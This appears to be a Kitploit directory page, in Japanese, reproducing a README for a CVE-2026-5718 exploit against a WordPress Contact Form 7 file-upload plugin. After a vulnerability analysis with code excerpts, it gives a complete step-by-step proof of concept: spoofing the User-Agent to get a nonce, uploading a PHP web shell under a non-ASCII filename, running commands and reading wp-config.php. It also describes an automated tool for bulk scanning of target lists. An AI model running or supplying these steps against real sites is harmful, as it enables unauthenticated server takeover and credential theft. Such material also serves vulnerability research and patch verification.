Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-5718 — CVE-2026-5718: DnD Upload CF7プラグインでの認証なしファイルアップロードからRCEへ | Kitploit
ツール/GitHubGitHub/xxconi/cve-2026-5718
ペイロード生成脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテストペイロード開発
GitHubxxconi/cve-2026-5718

CVE-2026-5718

CVE-2026-5718: DnD Upload CF7プラグインでの認証なしファイルアップロードからRCEへ

リポジトリを見る
54ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-5718

CVE-2026-5718: DnD Upload CF7 プラグインにおける認証不要ファイルアップロードからRCEへ

CVE-2026-5718 — DnD CF7 ファイルアップロード RCE スキャナー

プラグイン: Drag and Drop Multiple File Upload for Contact Form 7 プラグインスラッグ: drag-and-drop-multiple-file-upload-contact-form-7 CVE ID: CVE-2026-5718 CVSS スコア: 8.1 (High) CVSS ベクトル: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H 脆弱性の種類: 認証不要の任意ファイルアップロード → リモートコード実行 影響を受けるバージョン: <= 1.3.9.6 修正バージョン: 1.3.9.7 公開日: 2026年4月17日 研究者: Leonid Semenenko (lsemenenko) — Wordfence


📌 脆弱性について

Drag and Drop Multiple File Upload for Contact Form 7 プラグインでは、 2つの独立したロジックの欠陥 が組み合わさることで、認証されていない 攻撃者が PHP Webシェルをアップロードできるようになります。

  1. ブラックリスト破壊: カスタムブラックリスト設定がデフォルトの 危険な拡張子リストを マージせずに完全に置き換えてしまいます。 php がブロックされなくなります。

  2. 非ASCIIバイパス: ファイル名に非ASCII文字が含まれていると、 wpcf7_antiscript_file_name() 関数の呼び出しが妨げられます。 .php 拡張子が保持され、ファイルがディスクに書き込まれます。


🔍 脆弱性の概要

フィールド値
プラグイン名Drag and Drop Multiple File Upload for CF7
CVE IDCVE-2026-5718
CVSS スコア8.1 (High)
脆弱性の種類認証不要の任意ファイルアップロード
影響を受けるバージョン<= 1.3.9.6
修正バージョン1.3.9.7
前提条件CF7 フォームに blacklist-types カスタム設定が必要

⚙️ 技術分析

脆弱性1 — Nonce が公開されている (62行目)

// inc/dnd-upload-cf7.php — lines 62–71
function dnd_wpcf7_nonce_check() {
    // 唯一の保護: User-Agent の 'curl' チェック — 簡単に回避可能
    if ( strpos( $_SERVER['HTTP_USER_AGENT'], 'curl' ) !== false ) {
        wp_send_json_error('Request blocked: cURL access is forbidden.');
    }

    if( ! check_ajax_referer( 'dnd-cf7-security-nonce', false, false ) ){
        // 無効な nonce → 新しい nonce を返す
        wp_send_json_success( wp_create_nonce( "dnd-cf7-security-nonce" ) );
    }
}

wp_ajax_nopriv__wpcf7_check_nonce アクションは誰でも利用可能です。 無効な nonce を送信すると、新しい nonce が無料で入手できます。 Mozilla UA を使用して curl チェックを回避します。


脆弱性2 — ブラックリストのマージではなく置き換え (883行目)

// inc/dnd-upload-cf7.php — lines 883–886
$blacklist_types = dnd_cf7_not_allowed_ext();
// ↑ ~80 の危険な拡張子: php, php3, php4, pht, phtml, phar...

if ( isset( $blacklist["$cf7_upload_name"] ) && ! empty( $blacklist["$cf7_upload_name"] ) ) {
    $blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
    // ↑ 代入 (=) — マージではない
    // カスタムリスト: ['zip'] のみ
    // 'php' はリストに含まれない → 受け入れられる
}

トリガーとなるフォームタグの設定:

[mfile upload-file filetypes="*" blacklist-types:zip]

管理者が ZIP をブロックしたい → プラグインがデフォルトの拒否リストをすべて削除します。 php を含むすべての危険な拡張子が受け入れられるようになります。

また、filetypes="*" に対するハードコードされたリストにも不足があります:

// line 927 — 'php', 'php3', 'php4', 'pht', 'phtml' が不足
$not_allowed_ext = array( 'phar', 'svg', 'php5', 'php7', 'php8' );

脆弱性3 — 非ASCIIバイパス (970行目)

// inc/dnd-upload-cf7.php — lines 969–972
$ascii_name = dnd_cf7_remove_icons( $filename );

if ( dnd_cf7_check_ascii( $ascii_name ) ) {
    // 純粋なASCIIファイル名の場合のみ呼び出される
    $filename = wpcf7_antiscript_file_name( $ascii_name );
    // ↑ shell.php → shell.php.txt にするが — スキップされる
}
// 非ASCII文字がある場合、このブロックはスキップされる
// $filename = "shellシ.php" → .php 拡張子が保持される
// dnd_cf7_check_ascii() — lines 1029–1041
function dnd_cf7_check_ascii( $string ) {
    $string = sanitize_file_name( $string );
    // ↑ ローカルコピーのみ変更、外部の $filename には影響しない
    if ( mb_check_encoding( $string, 'ASCII' ) ) {
        return true;
    }
    return false;  // 非ASCII文字 → false → antiscript がスキップされる
}

🔴 完全な攻撃チェーン

┌─────────────────────────────────────────────────────────────┐
│  POST /wp-admin/admin-ajax.php?action=_wpcf7_check_nonce   │
│  User-Agent: Mozilla/5.0  (curl ではない)                   │
│       │                                                     │
│       ▼                                                     │
│  {"success":true,"data":"abc123def456"}                     │
│  → Nonce が無料で取得された                                    │
└──────────────────────────┬──────────────────────────────────┘
                           │
┌──────────────────────────▼──────────────────────────────────┐
│  POST /wp-admin/admin-ajax.php?action=dnd_codedropz_upload  │
│  security=abc123def456                                      │
│  upload-file=shellシ.php (Content-Type: application/x-php) │
│       │                                                     │
│       ├── Nonce 有効 ✓                                       │
│       ├── blacklist=['zip'] → 'php' はブロックされない ✓    │
│       ├── dnd_cf7_check_ascii("shellシ.php") = false        │
│       ├── wpcf7_antiscript_file_name() がスキップされる ✓   │
│       └── move_uploaded_file("shellシ.php") → ディスクに書き込み│
└──────────────────────────┬──────────────────────────────────┘
                           │
┌──────────────────────────▼──────────────────────────────────┐
│  GET /wp-content/uploads/wp_dndcf7_uploads/                 │
│      wpcf7-files/<uuid>/shell%E3%82%B7.php?cmd=id          │
│       │                                                     │
│       ▼                                                     │
│  uid=33(www-data) gid=33(www-data) groups=33(www-data)     │
│  → 認証不要の RCE ✓                                          │
└─────────────────────────────────────────────────────────────┘

🧪 Proof of Concept (手動)

⚠️ 免責事項: この PoC は教育および防御的なセキュリティ研究目的のみで提供されています。 自分が所有しているか、明示的な書面による許可を得たシステムでのみ使用してください。

前提条件:

  • プラグインがインストールされ、アクティブ (バージョン <= 1.3.9.6)
  • CF7 フォームに [mfile] フィールドと blacklist-types が含まれていること:
    [mfile upload-file filetypes="*" blacklist-types:zip]
    

ステップ1 — Nonce を取得

TARGET="https://target.example.com"

NONCE=$(curl -s -X POST \
  "$TARGET/wp-admin/admin-ajax.php" \
  -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
  --data "action=_wpcf7_check_nonce" \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['data'])")

echo "Nonce: $NONCE"

期待される応答:

{"success": true, "data": "abc123def456"}

ステップ2 — 非ASCIIファイル名でWebシェルを作成

# 'シ' (U+30B7 カタカナ) → dnd_cf7_check_ascii() = false
SHELL_FILENAME="shellシ.php"
echo '<?php system($_GET["cmd"]); ?>' > "/tmp/${SHELL_FILENAME}"

ステップ3 — シェルをアップロード

FORM_ID=1
FIELD_NAME="upload-file"
SESSION_FOLDER=$(uuidgen | tr '[:upper:]' '[:lower:]' | tr -d '-')

curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
  -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
  -F "action=dnd_codedropz_upload" \
  -F "security=${NONCE}" \
  -F "form_id=${FORM_ID}" \
  -F "upload_name=${FIELD_NAME}" \
  -F "upload_folder=${SESSION_FOLDER}" \
  -F "upload-file=@/tmp/${SHELL_FILENAME};type=application/x-php"

期待される応答:

{
  "success": true,
  "data": {
    "path": "<session-folder-uuid>",
    "file": "shellシ.php"
  }
}

ステップ4 — シェルURLを生成

UPLOAD_PATH="<path-from-response>"
SHELL_URL="$TARGET/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/${UPLOAD_PATH}/shell%E3%82%B7.php"
echo "Shell URL: $SHELL_URL"

ステップ5 — RCEをトリガー

# id コマンド
curl -s "${SHELL_URL}?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

# wp-config.php を読み取り
curl -s "${SHELL_URL}?cmd=cat+/var/www/html/wp-config.php"

🛠️ 自動スキャナー

インストール

git clone https://github.com/kullanici/cve-2026-5718-scanner
cd cve-2026-5718-scanner
pip install -r requirements.txt

requirements.txt

requests

🚀 使用方法

単一ターゲット — 完全自動

python dnd_cf7_upload.py -u http://hedef.com

手動でフォームIDとフィールド名を指定

python dnd_cf7_upload.py -u http://hedef.com \
  --form-id 1 --field-name upload-file

フルシェル + カスタムコマンド

python dnd_cf7_upload.py -u http://hedef.com \
  --shell-type full --verify-cmd "whoami"

一括スキャン

python dnd_cf7_upload.py -l targets.txt -t 20 -o sonuclar.txt

プロキシ使用 (Burp Suite)

python dnd_cf7_upload.py -u http://hedef.com \
  --proxy http://127.0.0.1:8080

⚙️ パラメーター

ツールをダウンロード